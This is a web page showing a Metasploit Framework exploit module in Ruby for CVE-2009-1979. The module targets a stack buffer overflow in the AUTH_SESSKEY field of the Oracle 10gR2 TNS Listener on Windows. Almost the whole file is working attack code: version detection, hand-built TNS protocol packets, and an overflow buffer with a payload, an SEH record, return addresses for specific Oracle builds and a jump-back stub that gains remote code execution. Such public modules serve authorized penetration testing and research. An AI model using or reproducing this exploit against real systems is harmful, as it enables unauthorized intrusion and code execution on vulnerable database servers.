CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/oracle/tns_auth_sesskey.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::TNS
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in Oracle. When
17
sending a specially crafted packet containing a long AUTH_SESSKEY value
18
to the TNS service, an attacker may be able to execute arbitrary code.
19
},
20
'Author' => [ 'jduck' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2009-1979'],
25
[ 'OSVDB', '59110'],
26
[ 'BID', '36747'],
27
[ 'URL', 'http://blogs.conus.info/node/28' ],
28
[ 'URL', 'http://blogs.conus.info/node/35' ],
29
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
30
],
31
'Privileged' => true,
32
'DefaultOptions' =>
33
{
34
'EXITFUNC' => 'seh',
35
},
36
'Payload' =>
37
{
38
'Space' => 0x17e,
39
'BadChars' => "", # none, thx memcpy!
40
'StackAdjustment' => -3500,
41
},
42
'Platform' => 'win',
43
'Targets' =>
44
[
45
[ 'Automatic', { } ],
46
47
[ 'Oracle 10.2.0.1.0 Enterprise Edition',
48
{
49
# Untested
50
'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
51
}
52
],
53
[ 'Oracle 10.2.0.4.0 Enterprise Edition',
54
{
55
# Tested OK - 2010-Jan-20 - jduck
56
'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
57
}
58
]
59
],
60
'DefaultTarget' => 0,
61
'DisclosureDate' => '2009-10-20'))
62
63
register_options(
64
[
65
OptString.new('SID', [ true, 'The target database SID', 'ORCL']),
66
Opt::RPORT(1521)
67
])
68
end
69
70
71
def check
72
version = tns_version
73
if (not version)
74
vprint_error("Unable to detect the Oracle version!")
75
return Exploit::CheckCode::Unknown
76
end
77
vprint_status("Oracle version reply: " + version)
78
return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
79
return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
80
return Exploit::CheckCode::Safe
81
end
82
83
84
def exploit
85
86
mytarget = nil
87
if target.name =~ /Automatic/
88
print_status("Attempting automatic target detection...")
89
90
version = tns_version
91
if (not version)
92
fail_with(Failure::NoTarget, "Unable to detect the Oracle version!")
93
end
94
95
if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
96
mytarget = targets[1]
97
elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
98
mytarget = targets[2]
99
end
100
101
if (not mytarget)
102
fail_with(Failure::NoTarget, "Unable to automatically detect the target")
103
end
104
105
print_status("Automatically detected target \"#{mytarget.name}\"")
106
else
107
mytarget = target
108
109
print_status("Attacking using target \"#{mytarget.name}\"")
110
end
111
112
113
username = rand_text_alphanumeric(0x1c)
114
115
connect
116
117
print_status("Sending NSPTCN packet ...")
118
connect_data = "" +
119
"(DESCRIPTION=" +
120
"(CONNECT_DATA=" +
121
"(SERVICE_NAME=#{datastore['SID']})" +
122
"(CID=" +
123
"(PROGRAM=client.exe)" +
124
"(HOST=client_host)" +
125
")" +
126
")" +
127
"(ADDRESS=" +
128
"(PROTOCOL=TCP)" +
129
"(PORT=1521)" +
130
")" +
131
")"
132
nsptcn_pkt = tns_packet(connect_data)
133
sock.put(nsptcn_pkt)
134
135
# read NSPTRS (expecting 8 bytes)
136
res = sock.get_once(-1, 1)
137
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
138
139
print_status("Re-sending NSPTCN packet ...")
140
sock.put(nsptcn_pkt)
141
142
# read NSPTAC (expecting 32 bytes)
143
begin
144
res = sock.get_once(-1, 1)
145
rescue ::Errno::ECONNRESET, EOFError
146
fail_with(Failure::Unknown, "OOPS, maybe the service hasn't started completely yet, try again...")
147
end
148
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
149
150
# send NA
151
print_status("Sending NA packet ...")
152
na_stuff = [0xdeadbeef].pack('N') +
153
"\x00\x92" +
154
"\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
155
"\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
156
"\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
157
"\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
158
"\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
159
"\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
160
"\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
161
"\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
162
"\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
163
na_pkt = nsptda_packet(na_stuff)
164
sock.put(na_pkt)
165
166
# read response (expecting 127 bytes)
167
res = sock.get_once(-1, 1)
168
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
169
170
# send TTIPRO
171
print_status("Sending TTIPRO packet ...")
172
ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
173
"IBMPC/WIN_NT-8.1.0" +
174
"\x00"
175
ttipro_pkt = nsptda_packet(ttipro_stuff)
176
sock.put(ttipro_pkt)
177
178
# read response (expecting 179 bytes)
179
res = sock.get_once(-1, 1)
180
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
181
182
# send TTIDTY
183
print_status("Sending TTIDTY packet ...")
184
ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
185
"\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
186
"\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
187
"\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
188
"\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
189
ttidty_pkt = nsptda_packet(ttidty_stuff)
190
sock.put(ttidty_pkt)
191
192
# read response (expecting 22 bytes)
193
res = sock.get_once(-1, 1)
194
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
195
196
# send first auth pkt (call OSESSKEY)
197
print_status("Calling OSESSKEY ...")
198
params = []
199
dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)
200
sock.put(dtyauth_pkt)
201
202
# read RPA (expecting 225 bytes)
203
res = sock.get_once(-1, 1)
204
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
205
206
# build exploit buffer
207
print_status("Calling kpoauth with long AUTH_SESSKEY ...")
208
sploit = payload.encoded
209
sploit << rand_text_alphanumeric(0x19a - 0x17e)
210
sploit << generate_seh_record(mytarget.ret)
211
distance = payload_space + 8 + 5
212
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
213
214
# ensure bad ptr is derefed
215
value = rand(0x3fffffff) | 0xc0000000
216
sploit[0x17e,4] = [value].pack('V')
217
218
# send overflow trigger packet (call kpoauth)
219
params = []
220
params << {
221
'Name' => 'AUTH_SESSKEY',
222
'Value' => sploit,
223
'Flag' => 1
224
}
225
dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)
226
sock.put(dtyauth_pkt)
227
228
# expecting disconnect...
229
if (res = sock.get_once(-1, 1))
230
print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
231
fail_with(Failure::NoTarget, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/")
232
end
233
234
handler
235
disconnect
236
end
237
238
239
def tns_version
240
connect
241
version = "(CONNECT_DATA=(COMMAND=VERSION))"
242
pkt = tns_packet(version)
243
sock.put(pkt)
244
sock.get_once
245
res = sock.get_once(-1, 1)
246
disconnect
247
return res
248
rescue EOFError
249
return nil
250
end
251
252
253
def nsptda_packet(data)
254
pkt = [data.length + 10].pack('n') # NSPHDLEN
255
pkt << [0].pack('n') # NSPHDPSM
256
pkt << [6].pack('C') # pkt type
257
pkt << [0].pack('C') # reserved
258
pkt << [0].pack('n') # NSPHDHSM
259
pkt << [0].pack('n') # NSPDAFLG
260
pkt << data
261
return pkt
262
end
263
264
265
def dtyauth_packet(opi, user, flag, params)
266
dunno = 2
267
dunno = 3 if opi == 0x73
268
269
pkt = [3, opi, dunno].pack('CCC')
270
271
pkt << [-2].pack('V')
272
pkt << [user.length].pack('V')
273
pkt << [flag].pack('V')
274
275
pkt << [-2].pack('V')
276
pkt << [params.length].pack('V')
277
pkt << [-2].pack('V')
278
pkt << [-2].pack('V')
279
280
pkt << [user.length].pack('C')
281
pkt << user
282
283
params.each { |param|
284
name = param['Name']
285
pkt << [name.length].pack('V')
286
pkt << [name.length].pack('C')
287
pkt << name
288
289
val = param['Value']
290
pkt << [val.length].pack('V')
291
if (val.length > 0)
292
if (val.length > 0xff)
293
pkt << chunkify(val)
294
else
295
pkt << [val.length].pack('C')
296
pkt << val
297
end
298
end
299
300
flag = param['Flag']
301
pkt << [flag].pack('V')
302
}
303
return nsptda_packet(pkt)
304
end
305
306
307
def chunkify(buf)
308
ret = ""
309
if buf.length > 0xff
310
ret << "\xfe"
311
312
while (buf.length > 0xff)
313
ret << "\xff"
314
ret << buf.slice!(0, 0xff)
315
end
316
if buf.length > 0
317
ret << [buf.length].pack('C')
318
ret << buf
319
end
320
321
ret << "\x00"
322
else
323
ret << [buf.length].pack('C')
324
ret << buf
325
end
326
return ret
327
end
328
end
329
330